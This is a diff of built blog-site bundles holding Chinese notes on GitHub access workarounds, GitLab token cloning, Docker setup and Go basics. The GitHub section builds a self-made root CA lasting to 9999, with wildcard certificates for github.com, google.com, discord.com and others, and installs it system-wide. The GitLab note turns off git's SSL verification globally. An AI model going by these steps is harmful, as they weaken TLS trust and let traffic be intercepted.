连接超时问题")],-1),ss={href:"https://cloud.tencent.com/developer/article/1704705",target:"_blank",rel:"noopener noreferrer"},as=n("li",null,"打开 ipaddress.com,查询github.com域名,记录下其对应的ip(IP Address项内容)",-1),es=n("li",null,[s("修改并保存"),n("code",null,"/etc/hosts"),s(":末尾加上"),n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`查询到的域名 github.com +`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"})])])],-1),ts=t('

    报错处理

    Failed to connect to github.com port 443 after 21063 ms: Timed out

    网不好, 换个结点


    OpenSSL SSL_read: Connection was reset, errno 10054

    ',6),os={href:"https://blog.csdn.net/myRealization/article/details/119737101",target:"_blank",rel:"noopener noreferrer"},is=t(`

    我碰到的情况是本地 git 配置错了, 前阵子在 github 上更改了主邮箱, 相应的本地配置要改下邮箱

    git config --global user.email "xxx"
    +

    未成功归档/TODO


    Nginx 反代 Github(TODO: mark下, 没成功跑起来)

    `,6),ls=n("p",null,"本地测试环境 - ubuntu 20.04 LTS",-1),cs={href:"https://zhuanlan.zhihu.com/p/411165246",target:"_blank",rel:"noopener noreferrer"},ps=n("hr",null,null,-1),rs=n("h4",{id:"安装-nginx-和-openssl",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#安装-nginx-和-openssl","aria-hidden":"true"},"#"),s(" 安装 Nginx 和 OpenSSL")],-1),us={href:"https://zhuanlan.zhihu.com/p/138007915",target:"_blank",rel:"noopener noreferrer"},ds=n("hr",null,null,-1),hs=t(`
    sudo apt update
    +sudo apt install nginx
    +

    一旦安装完成,Nginx 将会自动被启动。你可以运行下面的命令来验证它:

    sudo systemctl status nginx
    +

    在你已经在你的服务器上安装和运行了 Nginx,你需要确保你的防火墙被配置好,允许流量通过 HTTP(80)和 HTTPS(443)端口。



    `,7),ms={href:"https://www.openssl.net.cn/docs/8.html",target:"_blank",rel:"noopener noreferrer"},bs=n("hr",null,null,-1),ks=t(`

    服务器默认已经安装了 OpenSSL, 可以使用如下命令查看其版本及位置

    openssl version
    +whereis openssl
    +

    制作 CA 证书与签名证书

    #### 制作CA证书,如果你没有CA证书的话,必须执行
    +openssl genrsa 2048 > ca.key # 这是你的CA证书,你可以选择要不要信任CA证书
    +
    +#### CA证书的公钥,用于信任CA证书,这样你就不必亲自信任每一个用这个CA签名的证书了
    +export SUBJ="/C=CN/ST=ST$RANDOM/O=O$RANDOM/OU=OU$RANDOM/CN=CN$RANDOM/emailAddress=$RANDOM@localhost"
    +# $SUB这一行的意思请稍后自行领悟,这里RANDOM的用意是,防止大家生成重复的CA然后产生未知问题
    +# 如果不知道-subj是什么,不要改。CN写0CN是为了让证书好找(会排到最前面)
    +openssl req -new -x509 -days \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` \\
    +  -key ca.key -out ca.pem -subj $SUBJ -extensions v3_ca
    +# 上面这节其实是一整行命令(用\\换行,于是显示成了两行)
    +# 这里 \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` 是计算当前时间到yyyymmdd=99991231的日期
    +# 整段内容的意思是,让这个证书的有效期到9999年12月31日
    +# 我保证RSA失效日期一定比这个日期早……
    +# 请不要学习这个把签名签到9999年的坏习惯,涉及网络活动的,最好每年换一个签名。
    +# 这里签到9999年的原因是……谁闲着没事监听你的nginx拿到只有你用的证书之后会对你开展中间人攻击呢?
    +
    +#### 生成nginx需要的证书
    +openssl genrsa 1024 > nginx.key # 密钥
    +openssl req -new -nodes -key nginx.key -out nginx.csr -subj $SUBJ
    +
    +#### CA签名
    +openssl x509 -req -days \`expr \\( \\\`date -d 99991231 +%s\\\` - \\\`date +%s\\\` \\) / 86400 + 1\` \\
    + -in nginx.csr -out nginx.pem -CA ca.pem -CAkey ca.key -set_serial 0 -extensions CUSTOM_STRING_LIKE_SAN_KU\\
    + -extfile <( cat << EOF
    +[CUSTOM_STRING_LIKE_SAN_KU]
    +subjectAltName=IP:127.0.0.1, IP: ::1 ,DNS:github.com, DNS:*.github.com, DNS:githubusercontent.com, DNS:*.githubusercontent.com
    +keyUsage = nonRepudiation, digitalSignature, keyEncipherment
    +EOF
    +)
    +
    +# 这里,使用-extfile对配置文件做临时修改
    +# 这样就完成了签名工作
    +# 事实上,这里可以多写几个subjectAltName,比如subjectAltName=IP:127.0.0.1, IP: ::1 ,DNS:ads-pixiv.net, DNS:*.ads-pixiv.net, DNS:akamaihd.net, DNS:*.akamaihd.net, DNS:arkoselabs.com, DNS:*.arkoselabs.com, DNS:artstation.com, DNS:*.artstation.com, DNS:discordapp.com, DNS:*.discordapp.com, DNS:discordapp.net, DNS:*.discordapp.net, DNS:discord.com, DNS:*.discord.com, DNS:ext-twitch.tv, DNS:*.ext-twitch.tv, DNS:github.com, DNS:*.github.com, DNS:githubusercontent.com, DNS:*.githubusercontent.com, DNS:google.com, DNS:*.google.com, DNS:hcaptcha.com, DNS:*.hcaptcha.com, DNS:pinimg.com, DNS:*.pinimg.com, DNS:pinterest.com, DNS:*.pinterest.com, DNS:pixiv.net, DNS:*.pixiv.net, DNS:pixivsketch.net, DNS:*.pixivsketch.net, DNS:pximg.net, DNS:*.pximg.net, DNS:steam-chat.com, DNS:*.steam-chat.com, DNS:steamcommunity.com, DNS:*.steamcommunity.com, DNS:steampowered.com, DNS:*.steampowered.com, DNS:steamstatic.com, DNS:*.steamstatic.com, DNS:twitch.tv, DNS:*.twitch.tv, DNS:ubi.com, DNS:*.ubi.com, DNS:v2ex.com, DNS:*.v2ex.com
    +# 多写几个的好处就不说了,说多了可能犯法[狗头]
    +
    +# openssl x509 -noout -text -in nginx.pem
    +# 如果你需要检查你生成的pem,或者
    +# ( openssl x509 -noout -text -in nginx.pem && cat nginx.pem ) > nginx.crt
    +# 上面这句没测试,也不是本讲的内容……
    +

    安装证书

    `,7),vs={href:"https://qastack.cn/superuser/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu",target:"_blank",rel:"noopener noreferrer"},gs={href:"https://blog.csdn.net/shf4715/article/details/52804689",target:"_blank",rel:"noopener noreferrer"},_s=n("hr",null,null,-1),fs=t(`
    cp ca.pem /usr/local/share/ca-certificates/ca.crt
    +update-ca-certificates
    +mkdir /etc/nginx/ca && sudo cp nginx.pem nginx.key /etc/nginx/ca
    +

    image-20221012231958789


    配置 Nginx


    `,5);function ys(xs,ws){const a=i("ExternalLinkIcon");return l(),c("div",null,[r,n("blockquote",null,[n("p",null,[n("a",u,[s("eryajf/Thanks-Mirror: 整理记录各个包管理器,系统镜像,以及常用软件的好用镜像,Thanks Mirror。 走过路过,如觉不错,麻烦点个赞👆🌟 (github.com)"),e(a)])])]),d,h,m,n("ul",null,[n("li",null,[b,n("p",null,[s("提供了 GitHub 全站镜像,但注意不要在这个站登陆你的 GitHub 账号。详见"),n("a",k,[s("官方文档"),e(a)]),s("。")]),v,g]),n("li",null,[_,n("p",null,[s("提供了 "),f,s(" 全面的加速,详见"),n("a",y,[s("官方文档"),e(a)]),s("。")])]),x]),w,n("ul",null,[n("li",null,[n("p",null,[n("a",E,[s("油猴脚本"),e(a)])]),A]),n("li",null,[n("p",null,[n("a",S,[s("chrome插件"),e(a)])]),N])]),D,n("ul",null,[n("li",null,[n("a",q,[s("解决Github网页上图片显示失败的问题"),e(a)]),s("[参考链接]")]),C]),B,j,n("blockquote",null,[n("p",null,[n("a",G,[s("GIt设置代理 - 简书 (jianshu.com)"),e(a)])]),H]),F,n("blockquote",null,[n("p",null,[n("a",O,[s("git生成连接远程仓库的密钥_旁观者lgp的博客-CSDN博客"),e(a)])])]),U,n("blockquote",null,[n("p",null,[n("a",R,[s("【求助】开启OpenClash之后,无法使用 git clone/push,kex ssh 密钥错误 · Issue #1960 · vernesong/OpenClash (github.com)"),e(a)])]),T,n("p",null,[n("a",L,[s("使用Git时报错Connection reset by 20.205.243.166 port 22_Wrysmile0308的博客-CSDN博客"),e(a)])]),n("p",null,[n("a",P,[s("Has GitHub changed his remote host key ? · community · Discussion #50878 --- GitHub 更改了他的远程主机密钥吗? · 社区 · 讨论 #50878"),e(a)])]),n("p",null,[n("a",M,[s("We updated our RSA SSH host key - The GitHub Blog --- 我们更新了 RSA SSH 主机密钥 - GitHub 博客"),e(a)])])]),z,n("p",null,[n("a",I,[s("UvDream/git-commit-lint-vscode: vscode一款git 规范化提交插件 (github.com)"),e(a)])]),K,n("ul",null,[n("li",null,[n("a",V,[s("参考链接"),e(a)])]),W,$]),J,Y,n("blockquote",null,[n("p",null,[n("a",Q,[s("原文链接:GitHub Actions 入门教程 - 阮一峰的网络日志 (ruanyifeng.com)"),e(a)])]),n("p",null,[n("a",X,[s("关于工作流程 - GitHub Docs"),e(a)])])]),Z,nn,sn,n("p",null,[s("GitHub 做了一个"),n("a",an,[s("官方市场"),e(a)]),s(",可以搜索到他人提交的 actions。另外,还有一个 "),n("a",en,[s("awesome actions"),e(a)]),s(" 的仓库,也可以找到不少 action。")]),n("p",null,[s("每个 action 就是一个独立脚本,因此可以做成代码仓库,使用"),tn,s("的语法引用 action。比如,"),on,s("就表示"),ln,s("这个"),n("a",cn,[s("仓库"),e(a)]),s(",它代表一个 action,作用是安装 Node.js。事实上,GitHub 官方的 actions 都放在 "),n("a",pn,[s("github.com/actions"),e(a)]),s(" 里面。")]),n("p",null,[s("actions 是代码仓库,有版本的概念,用户可以引用某个具体版本的 action。下面都是合法的 action 引用,用的就是 Git 的指针概念,详见"),n("a",rn,[s("官方文档"),e(a)]),s("。")]),un,n("p",null,[s("workflow 文件采用 "),n("a",dn,[s("YAML 格式"),e(a)]),s(",文件名可以任意取,但是后缀名统一为"),hn,s(",比如"),mn,s("。一个库可以有多个 workflow 文件。GitHub 只要发现"),bn,s("目录里面有"),kn,s("文件,就会自动运行该文件。")]),vn,n("p",null,[s("workflow 文件的配置字段非常多,详见"),n("a",gn,[s("官方文档"),e(a)]),s("。下面是一些基本字段。")]),n("ul",null,[_n,n("li",null,[fn,n("p",null,[s("完整的事件列表,请查看"),n("a",yn,[s("官方文档"),e(a)]),s("。除了代码库事件,GitHub Actions 也支持外部事件触发,或者定时运行。")])]),n("li",null,[xn,n("p",null,[s("像这样类似的 "),wn,s(" 以及 "),En,s(" 关键词支持使用 "),An,s(" 和 "),Sn,s(" 通配符匹配多个路径名的 glob pattern; 更多信息请参阅“"),n("a",Nn,[s("过滤器模式备忘清单"),e(a)]),s("”。")])]),Dn,n("li",null,[qn,n("blockquote",null,[n("p",null,[n("a",Cn,[s("About self-hosted runners - GitHub Docs"),e(a)])])])]),Bn]),jn,Gn,Hn,n("ul",null,[n("li",null,[n("a",Fn,[s("访问该地址"),e(a)]),On])]),Un,Rn,n("ul",null,[n("li",null,[n("a",Tn,[s("参考链接"),e(a)])]),Ln]),Pn,Mn,n("blockquote",null,[n("p",null,[n("a",zn,[s("from 阮一峰-2011.5.2"),e(a)])])]),In,Kn,Vn,n("ul",null,[Wn,$n,n("li",null,[n("strong",null,[s("解决方法"),n("a",Jn,[s("@Ever-Lose"),e(a)])]),s(":如果确定之前的提交对现在已经没有用了,那么在"),Yn,s("仓库的时候在最后加上"),Qn,s("只克隆最后一次"),Xn])]),Zn,ns,n("ul",null,[n("li",null,[s("使用腾讯云北京的轻量应用服务器推送更新时总是连接超时,最终找到了有效的如下"),n("a",ss,[s("解决方案"),e(a)])]),as,es]),ts,n("blockquote",null,[n("p",null,[n("a",os,[s("【Git/GitHub】解决Git上传时OpenSSL SSL_read: Connection was reset, errno 10054的错误_memcpy0的博客-CSDN博客"),e(a)])])]),is,n("blockquote",null,[ls,n("p",null,[n("a",cs,[s("nginx本地反代github - 知乎 (zhihu.com)"),e(a)])]),ps]),rs,n("blockquote",null,[n("p",null,[n("a",us,[s("如何在 Ubuntu 20.04 上安装 Nginx - 知乎 (zhihu.com)"),e(a)])]),ds]),hs,n("blockquote",null,[n("p",null,[n("a",ms,[s("2.2.1 linux下的安装_OpenSSL 中文手册"),e(a)])]),bs]),ks,n("blockquote",null,[n("p",null,[n("a",vs,[s("如何将证书颁发机构(CA)添加到Ubuntu? (qastack.cn)"),e(a)])]),n("p",null,[n("a",gs,[s("Ubuntu安装系统根证书_孙海峰VIP的博客-CSDN博客_ubuntu安装根证书"),e(a)])]),_s]),fs])}const Ss=o(p,[["render",ys],["__file","Github.html.vue"]]);export{Ss as default}; diff --git a/assets/Gitlab.html-0a78bb0b.js b/assets/Gitlab.html-0a78bb0b.js new file mode 100644 index 0000000000..c27c14b793 --- /dev/null +++ b/assets/Gitlab.html-0a78bb0b.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-c66e5ee2","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Gitlab.html","title":"Gitlab","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"配置 access_token 使用 https clone 仓库","slug":"配置-access-token-使用-https-clone-仓库","link":"#配置-access-token-使用-https-clone-仓库","children":[]},{"level":2,"title":"Gitlab 搭建(想了想不想维护, 就没再搭了)","slug":"gitlab-搭建-想了想不想维护-就没再搭了","link":"#gitlab-搭建-想了想不想维护-就没再搭了","children":[{"level":3,"title":"配置参考","slug":"配置参考","link":"#配置参考","children":[]},{"level":3,"title":"创建工作目录","slug":"创建工作目录","link":"#创建工作目录","children":[]},{"level":3,"title":"安装 docker 并拉取官方镜像","slug":"安装-docker-并拉取官方镜像","link":"#安装-docker-并拉取官方镜像","children":[]}]}],"git":{"createdTime":1667837978000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":2.01,"words":603},"filePathRelative":"社区相关/Gitlab.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data}; diff --git a/assets/Gitlab.html-f287ef75.js b/assets/Gitlab.html-f287ef75.js new file mode 100644 index 0000000000..c43e18b4c3 --- /dev/null +++ b/assets/Gitlab.html-f287ef75.js @@ -0,0 +1,14 @@ +import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as c,c as i,b as e,e as a,d as s,f as t}from"./app-893ba623.js";const r={},d=t('

    Gitlab


    配置 access_token 使用 https clone 仓库

    ',4),p={href:"https://stackoverflow.com/questions/25409700/using-gitlab-token-to-clone-without-authentication",target:"_blank",rel:"noopener noreferrer"},u=e("br",null,null,-1),h={href:"https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html",target:"_blank",rel:"noopener noreferrer"},b=e("br",null,null,-1),m={href:"https://blog.csdn.net/officercat/article/details/39989837",target:"_blank",rel:"noopener noreferrer"},g=e("hr",null,null,-1),k=t(`

    打开 Gitlab->偏好设置->访问令牌 配置一个权限全开的令牌, 点击 创建个人访问令牌 后会出现一个访问令牌字符串, 记录下该字符串, 本文之后将该字符串称为 access_token

    image-20221213112006572

    image-20221213112039734

    在本地添加一条 git 配置, 取消 ssl 验证

    git config --global http.sslVerify false
    +

    然后即可使用 https + access_token clone 仓库了

    git clone https://oauth2:[access_token]@gitlab.xxx.com/xxxx.git
    +

    其实就是在仓库的 https clone 链接中的 https:// 后加上 oauth2:[access_token] 再把后面的链接拼接上即可


    Gitlab 搭建(想了想不想维护, 就没再搭了)

    `,10),v={href:"https://docs.gitlab.com/15.2/ee/install/requirements.html",target:"_blank",rel:"noopener noreferrer"},f={href:"https://zhuanlan.zhihu.com/p/385951111",target:"_blank",rel:"noopener noreferrer"},_=e("h3",{id:"配置参考",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#配置参考","aria-hidden":"true"},"#"),a(" 配置参考")],-1),E={href:"https://docs.gitlab.com/ee/administration/package_information/supported_os.html#supported-operating-systems",target:"_blank",rel:"noopener noreferrer"},x=t(`

    创建工作目录

    # 创建 gitlab 工作目录
    +mkdir xxx
    +cd xxx
    +

    安装 docker 并拉取官方镜像

    `,5),B={href:"https://cloud.tencent.com/developer/article/1854430",target:"_blank",rel:"noopener noreferrer"},D={href:"https://kalacloud.com/blog/how-to-install-and-use-docker-on-ubuntu/",target:"_blank",rel:"noopener noreferrer"},A=t(`

    安装所需工具包

    sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent  software-properties-common
    +

    更新现有的软件包列表

    sudo apt-get update
    +

    然后将官方 Docker 版本库的 GPG 密钥添加到系统中:

    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    +

    将 Docker 版本库添加到APT源:

    sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
    +

    用新添加的 Docker 软件包来进行升级更新。

    sudo apt update
    +

    确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:

    apt-cache policy docker-ce
    +

    安装 Docker :

    sudo apt install docker-ce
    +

    现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:

    sudo systemctl status docker
    +

    系统方面支持

    `,18);function G(q,y){const n=l("ExternalLinkIcon");return c(),i("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[a("git - Using GitLab token to clone without authentication - Stack Overflow"),s(n)]),u,e("a",h,[a("Personal access tokens | GitLab"),s(n)]),b,e("a",m,[a("执行Git命令时出现各种 SSL certificate problem 的解决办法_officercat的博客-CSDN博客"),s(n)])]),g]),k,e("blockquote",null,[e("p",null,[e("a",v,[a("GitLab installation minimum requirements | GitLab"),s(n)])]),e("p",null,[e("a",f,[a("Ubuntu20.04 搭建 gitlab 服务 - 知乎 (zhihu.com)"),s(n)])])]),_,e("blockquote",null,[e("p",null,[e("a",E,[a("Supported operating systems | GitLab"),s(n)])])]),x,e("blockquote",null,[e("p",null,[e("a",B,[a("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),s(n)])]),e("p",null,[e("a",D,[a("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),s(n)])])]),A])}const N=o(r,[["render",G],["__file","Gitlab.html.vue"]]);export{N as default}; diff --git "a/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" new file mode 100644 index 0000000000..391a3e8017 --- /dev/null +++ "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-1fa47d4b.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-6f5e4e67","path":"/Language/Go/Go%E8%AF%AD%E8%A8%80%E5%9C%A3%E7%BB%8F%E5%AD%A6%E4%B9%A0%E9%9A%8F%E7%AC%94.html","title":"Go 语言圣经学习随笔","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"CH1 入门","slug":"ch1-入门","link":"#ch1-入门","children":[{"level":3,"title":"ch1.1 Hello World","slug":"ch1-1-hello-world","link":"#ch1-1-hello-world","children":[]},{"level":3,"title":"ch1.2 命令行参数","slug":"ch1-2-命令行参数","link":"#ch1-2-命令行参数","children":[]},{"level":3,"title":"ch1.3 查找重复的行","slug":"ch1-3-查找重复的行","link":"#ch1-3-查找重复的行","children":[]},{"level":3,"title":"ch1.4 GIF 动画","slug":"ch1-4-gif-动画","link":"#ch1-4-gif-动画","children":[]},{"level":3,"title":"ch1.5 获取 URL","slug":"ch1-5-获取-url","link":"#ch1-5-获取-url","children":[]}]},{"level":2,"title":"CH2 程序结构","slug":"ch2-程序结构","link":"#ch2-程序结构","children":[{"level":3,"title":"CH2.1 命名","slug":"ch2-1-命名","link":"#ch2-1-命名","children":[]}]}],"git":{"createdTime":1678901903000,"updatedTime":1689171532000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":5},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":34.24,"words":10272},"filePathRelative":"Language/Go/Go语言圣经学习随笔.md","localizedDate":"2023年3月15日","excerpt":""}');export{l as data}; diff --git "a/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" new file mode 100644 index 0000000000..ee98cdb7c2 --- /dev/null +++ "b/assets/Go\350\257\255\350\250\200\345\234\243\347\273\217\345\255\246\344\271\240\351\232\217\347\254\224.html-4ccf7e48.js" @@ -0,0 +1,428 @@ +import{_ as u}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as d,c as r,b as n,e as s,d as a,w as o,f as e}from"./app-893ba623.js";const k={},m=e('

    Go 语言圣经学习随笔

    CH1 入门

    ',3),v={href:"https://gopl-zh.github.io/ch1/ch1.html",target:"_blank",rel:"noopener noreferrer"},g=n("hr",null,null,-1),b=n("p",null,"Go 语言有时候被描述为“类 C 语言”,或者是“21 世纪的 C 语言”。Go 从 C 语言继承了相似的表达式语法、控制流结构、基础数据类型、调用参数传值、指针等很多思想,还有 C 语言一直所看中的编译后机器码的运行效率以及和现有操作系统的无缝适配。",-1),h=n("p",null,"在第一章会介绍 Go 语言的基础组件, 提供足够的信息以及示例程序, 目的在于帮助读者尽快入门, 写出有用的程序",-1),f=n("h3",{id:"ch1-1-hello-world",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#ch1-1-hello-world","aria-hidden":"true"},"#"),s(" ch1.1 Hello World")],-1),_={href:"https://gopl-zh.github.io/ch1/ch1-01.html",target:"_blank",rel:"noopener noreferrer"},q=n("hr",null,null,-1),y=e(`

    需要先初始化一个 Go 应用

    # go mod init [应用名], 例如:
    +go mod init GoLearning
    +

    比如新建一个 HelloWorld.go

    package main
    +
    +import "fmt"
    +
    +func main(){
    +    fmt.Println("Hello World")
    +}
    +

    Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令

    Go 语言提供的工具都可以使用 go 命令来调用, 其包含一系列子命令, 比如

    终端执行 go run HelloWorld.go 或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件

    Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本

    run 命令:

    image-20221111005128048

    image-20221111005237588


    build 命令

    image-20221113182359950


    包管理

    Go 语言的代码通过 包(package) 组织, package 类似于其他语言中的 库(libraries) 或者 模块(modules)

    一个 package 由位于单个目录下的一个或者多个 .go 源代码文件组成,目录定义 package 的作用。

    每个源文件都以一条 package 声明语句开始,这个例子里就是 package main,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。

    Go 的标准库提供了 100 多个 package, 以支持常见功能,如输入、输出、排序以及文本处理。比如:


    package main

    main 包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main 里的 main 函数也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main 函数所做的事情就是程序做的。当然了,main 函数一般调用其它包里的函数完成很多工作(如:fmt.Println)。


    必须告诉编译器源文件需要哪些包,这就是跟随在 package 声明后面的 import 声明扮演的角色。hello world 例子只用到了一个包,大多数程序需要导入多个包。

    必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。

    import 声明必须跟在文件的 package 声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 funcvarconsttype 定义)。

    `,23),w=e('

    学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了 package main 声明, 感觉不妥:

    image-20221111005128048

    因此还是只保留根目录下的 main 作为主程序入口, 将 print hello world 另外定义一个 packagefunction 存放并在 main 中导入使用

    ',3),x={href:"https://stackoverflow.com/questions/38517593/relative-imports-in-go",target:"_blank",rel:"noopener noreferrer"},E={href:"https://segmentfault.com/q/1010000041390281",target:"_blank",rel:"noopener noreferrer"},A=n("hr",null,null,-1),G=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211132209441.png",alt:"image-20221113220959407"})],-1),P=e('
  • 新建了一个 pkg 目录用来统一存放自定义的 package, 毕竟后续可能在根目录下添加 docs, .github 之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整

    image-20221113221402704

  • pkg 目录下新建了一个 hello 目录用来存放输出语句测试文件

    这里新建了两个文件, 都使用了同一个 packagehello_test

    不过在 main 中导入包的时候仍用的 "GoLearning/pkg/hello", 而且如果将其中一个 package 名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package

    image-20221113221746673

    因此合理推测一个文件目录下的 go 文件应当同属一个 package

    所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)

    image-20221113222244698

  • ',2),C=n("p",null,[s("在 "),n("code",null,"main.go"),s(" 中引入了 "),n("code",null,"GoLearning/pkg/hello"),s(" 并给了它一个别名 "),n("code",null,"hello")],-1),S={href:"https://stackoverflow.com/questions/38517593/relative-imports-in-go",target:"_blank",rel:"noopener noreferrer"},B=n("hr",null,null,-1),F={href:"https://ayusummer.github.io/DailyNotes/Language/Go/Go.html#hello-world",target:"_blank",rel:"noopener noreferrer"},R=e(`
    # go mod init [应用名], 例如:
    +go mod init GoLearning
    +

    image-20221113223108545

    别名不一定和包名一样, 有辨识度即可

    image-20221113222526417

    `,4),T=n("p",null,"此外需要注意的是, 函数名称首字母一定要大写, 否则找不到",-1),z={href:"https://segmentfault.com/q/1010000041390281",target:"_blank",rel:"noopener noreferrer"},H=n("hr",null,null,-1),D=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211132228251.png",alt:"image-20221113222851217"})],-1),L=n("hr",null,null,-1),N=n("p",null,[s("除此以外, 还需要注意的是, 当模块内只有一个 go 文件时, 该 go 文件不可以 "),n("code",null,"_test"),s(" 结尾, 否则会被认为是测试文件, 如果在其他模块中需要使用此模块则会引起导入失败")],-1),W=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222138814.png",alt:"image-20221122213851749"})],-1),I=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139098.png",alt:"image-20221122213950074"})],-1),O=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222139359.png",alt:"image-20221122213930332"})],-1),U=n("p",null,[n("code",null,"_test"),s(" 在 Go 中似乎有特殊含义, 随手写模块时需要注意(这部分内容在 Go 语言圣经第 11 章会讲)")],-1),V={href:"https://gopl-zh.github.io/ch11/ch11-01.html",target:"_blank",rel:"noopener noreferrer"},j={href:"https://gopl-zh.github.io/ch11/ch11-02.html",target:"_blank",rel:"noopener noreferrer"},J=n("hr",null,null,-1),M=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202211222239244.png",alt:"image-20221122223908189"})],-1),K=e('

    function

    一个函数的声明由 func 关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。

    这个例子里的 main 函数参数列表和返回值都是空的

    在学习第五章时会进一步考察 function 的用法


    分号的问题

    Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析

    比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字 breakcontinuefallthroughreturn 中的一个、运算符和分隔符 ++--)]} 中的一个)。

    举个例子,函数的左括号 { 必须和 func 函数声明在同一行上,且位于末尾,不能独占一行

    image-20221113223753964

    而在表达式 x+y 中,可在 + 后换行,不能在 + 前换行

    以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。

    image-20221113224118032

    image-20221113224151044

    image-20221113224224293


    引号的问题

    ',10),$={href:"https://cloud.tencent.com/developer/article/1615783",target:"_blank",rel:"noopener noreferrer"},Q=n("hr",null,null,-1),X=e('

    需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的


    代码格式

    Go 语言在代码格式上采取了很强硬的态度。gofmt工具把代码格式化为标准格式,并且 go 工具中的 fmt 子命令会对指定包, 否则默认为当前目录中所有 .go 源文件应用 gofmt 命令。

    译者注:

    很多文本编辑器都可以配置为保存文件时自动执行 gofmt,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports,可以根据代码需要,自动地添加或删除 import 声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:

    ',7),Y=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,`go get golang.org/x/tools/cmd/goimports +`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"})])],-1),Z=n("p",null,"VSCode 安装 Go 扩展时应该是已经装了类似的工具了, 这点在个人编辑 go 文件时体会到了",-1),nn={href:"https://gopl-zh.github.io/ch10/ch10-07.html",target:"_blank",rel:"noopener noreferrer"},sn=e(`

    ch1.2 命令行参数

    os 包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os 包的 Args 变量获取;

    os 包外部使用 os.Args 访问该变量。

    os.Args 变量是一个字符串(string)的 切片(slice)(类似于 Python 中的切片, 是一个简化版的动态数组)


    例如, 对于切片 a = [1, 2, 3, 4, 5]

    image-20221122215213354


    package cmd_param
    +
    +import (
    +	"fmt"
    +	"os"
    +)
    +
    +// 类似于 echo, 默认分隔符为一个空格
    +func Print_cmd_args() {
    +	// 定义一个字符串切片, 用于存储命令行参数
    +	var getParams string
    +	// 分隔符为一个空格
    +	var sep string = " "
    +	// 第 0 个参数是程序名, 第 1 个参数才是实际传入的首个参数
    +	for i := 0; i < len(os.Args); i++ {
    +		getParams += os.Args[i] + sep
